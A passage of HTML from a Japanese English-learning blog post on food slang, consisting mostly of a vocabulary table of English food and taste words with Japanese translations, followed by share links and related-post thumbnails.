<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ローストした香ばしい香り</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>spicy</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">スパイスを引いたときの香り</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>delicious</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">美味しい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>flavor</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">風味</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>filling the room</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">部屋に広がる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>treat</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">楽しみ、ご馳走</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>whiskey</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ウイスキー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>distinctive</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">特有の</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>aftertaste</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">後味</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>irresistible</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜がたまらない</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>clean</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">を下ろす、きれいにする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>tuna</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">マグロ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>gummy</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">グミのような、粘り気のある</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>firm</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（身が）締まった、弾力のある</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>surprisingly</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">驚くほどに</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>addictive.</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">中毒性のある（やみつきになる）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>practically</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">実質的に、ほとんど（〜も同然）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>disappear</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜が消えてしまう</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>the moment it touches</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜に触れた瞬間に</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>tongue</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">舌</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>fillet mignon</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">フィレミニヨン</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>incredibly</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">信じられないほどに</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>take a bite of</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜を一口食べる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>french toast</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">フレンチトースト</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>closed his eyes</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">目を閉じる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>savor</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（味や香りを）じっくり堪能する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>comforting</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">安らぐような</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>warmth</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">温かさ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>delicate</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">繊細な</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>the chocolate truffle</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">トリュフチョコ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>smooth</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">なめらかな</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>aging</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">熟成</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>balsamic vinegar</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">バルサミコ酢</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>develop</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（熟成により味わいが）深まる、現れる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>consistency</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（液体の）濃度、とろみ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>freshly</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">出来立ての</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>canelé</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">カヌレ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>custardy</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">カスタードのように（なめらかな）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>interior</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜の中は（内部）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>acquire</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（時間をかけて）身につける、得る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>newcomer</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">初心者</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>grow to love</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜が好きになる、次第に愛着がわく</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>chocolate lava cake</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">チョコフォンダンショコラ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>flow out</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜が流れ出す</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>crust</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">皮、外側の生地</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>snap</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（噛んだ時の）パキッという音・感触</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>texture</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">食感、質感</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>avoid</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜を避ける</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>as much as possible to</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">できる限り〜する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>maintain</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜を維持する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>upcoming</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">もうすぐ、来たる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>hot chocolate</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ココア（ホットチョコレート）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>indulgent</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（自分を）甘やかすような、贅沢な</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>satisfy</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜に満足する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>crave</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">渇望する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>brew coffee</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">コーヒーを淹れる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>elevate</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜を引き立てる、〜を高める</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>patty</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">パティ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>super juicy</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ものすごくジューシーな</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>the combination of</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜と〜の組み合わせ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>slightly</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">わずかな、ほんのりと</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>dribble down</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">滴り落ちる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>orchard</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">果樹園</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>offer a wide variety of</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜を豊富に提供する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>morning-harvested</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">朝採りした</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>veggies</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">野菜</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>lemonade</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">レモネード</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>refreshing</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">さっぱりする、爽やかな</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>beef stew</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ビーフシチュー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>simmered</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">煮込んだ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>bland</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">味気のない、味の深みが足りない</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>weak</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（味や濃度が）薄い、本来の強さが足りない</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="128" height="128" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=128%2C128&#038;ssl=1" alt="" class="wp-image-5211" style="width:173px;height:auto" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?w=128&amp;ssl=1 128w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=65%2C65&amp;ssl=1 65w" sizes="auto, (max-width: 128px) 100vw, 128px" /></figure>



<p></p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217"/></figure>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F04%2Fswicy_fricy_slang%2F&amp;linkname=SWICY%E3%82%84FRICY%E3%81%A3%E3%81%A6%E7%9F%A5%E3%81%A3%E3%81%A6%E3%82%8B%EF%BC%9F%E6%9C%80%E6%96%B0%E3%83%95%E3%83%BC%E3%83%89%E7%B3%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F04%2Fswicy_fricy_slang%2F&amp;linkname=SWICY%E3%82%84FRICY%E3%81%A3%E3%81%A6%E7%9F%A5%E3%81%A3%E3%81%A6%E3%82%8B%EF%BC%9F%E6%9C%80%E6%96%B0%E3%83%95%E3%83%BC%E3%83%89%E7%B3%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F04%2Fswicy_fricy_slang%2F&amp;linkname=SWICY%E3%82%84FRICY%E3%81%A3%E3%81%A6%E7%9F%A5%E3%81%A3%E3%81%A6%E3%82%8B%EF%BC%9F%E6%9C%80%E6%96%B0%E3%83%95%E3%83%BC%E3%83%89%E7%B3%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F04%2Fswicy_fricy_slang%2F&amp;linkname=SWICY%E3%82%84FRICY%E3%81%A3%E3%81%A6%E7%9F%A5%E3%81%A3%E3%81%A6%E3%82%8B%EF%BC%9F%E6%9C%80%E6%96%B0%E3%83%95%E3%83%BC%E3%83%89%E7%B3%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F04%2Fswicy_fricy_slang%2F&amp;linkname=SWICY%E3%82%84FRICY%E3%81%A3%E3%81%A6%E7%9F%A5%E3%81%A3%E3%81%A6%E3%82%8B%EF%BC%9F%E6%9C%80%E6%96%B0%E3%83%95%E3%83%BC%E3%83%89%E7%B3%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F04%2Fswicy_fricy_slang%2F&amp;linkname=SWICY%E3%82%84FRICY%E3%81%A3%E3%81%A6%E7%9F%A5%E3%81%A3%E3%81%A6%E3%82%8B%EF%BC%9F%E6%9C%80%E6%96%B0%E3%83%95%E3%83%BC%E3%83%89%E7%B3%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F04%2Fswicy_fricy_slang%2F&amp;linkname=SWICY%E3%82%84FRICY%E3%81%A3%E3%81%A6%E7%9F%A5%E3%81%A3%E3%81%A6%E3%82%8B%EF%BC%9F%E6%9C%80%E6%96%B0%E3%83%95%E3%83%BC%E3%83%89%E7%B3%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F04%2Fswicy_fricy_slang%2F&amp;linkname=SWICY%E3%82%84FRICY%E3%81%A3%E3%81%A6%E7%9F%A5%E3%81%A3%E3%81%A6%E3%82%8B%EF%BC%9F%E6%9C%80%E6%96%B0%E3%83%95%E3%83%BC%E3%83%89%E7%B3%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F04%2Fswicy_fricy_slang%2F&#038;title=SWICY%E3%82%84FRICY%E3%81%A3%E3%81%A6%E7%9F%A5%E3%81%A3%E3%81%A6%E3%82%8B%EF%BC%9F%E6%9C%80%E6%96%B0%E3%83%95%E3%83%BC%E3%83%89%E7%B3%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0" data-a2a-url="https://ffeng.jp/2026/03/04/swicy_fricy_slang/" data-a2a-title="SWICYやFRICYって知ってる？最新フード系スラング"></a></p>The post <a href="https://ffeng.jp/2026/03/04/swicy_fricy_slang/">SWICYやFRICYって知ってる？最新フード系スラング</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/02/11/valentinesday/' title='英語でバレンタインのメッセージを伝えよう！スイーツにちなんだイディオムで愛の告白してみよう'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">英語でバレンタインのメッセージを伝えよう！スイーツにちなんだイディオムで愛の告白してみよう</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/07/21/restaurant3/' title='ホリデーシーズン目前：旅先で使えるボキャブラリー 〜レストランやバーで大活躍のボキャブラリー2〜'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/o0678038113821508829.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/o0678038113821508829.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/o0678038113821508829.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/o0678038113821508829.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ホリデーシーズン目前：旅先で使えるボキャブラリー 〜レストランやバーで大活躍のボキャブラリー2〜</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/03/05/juicy/' title='Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞'>
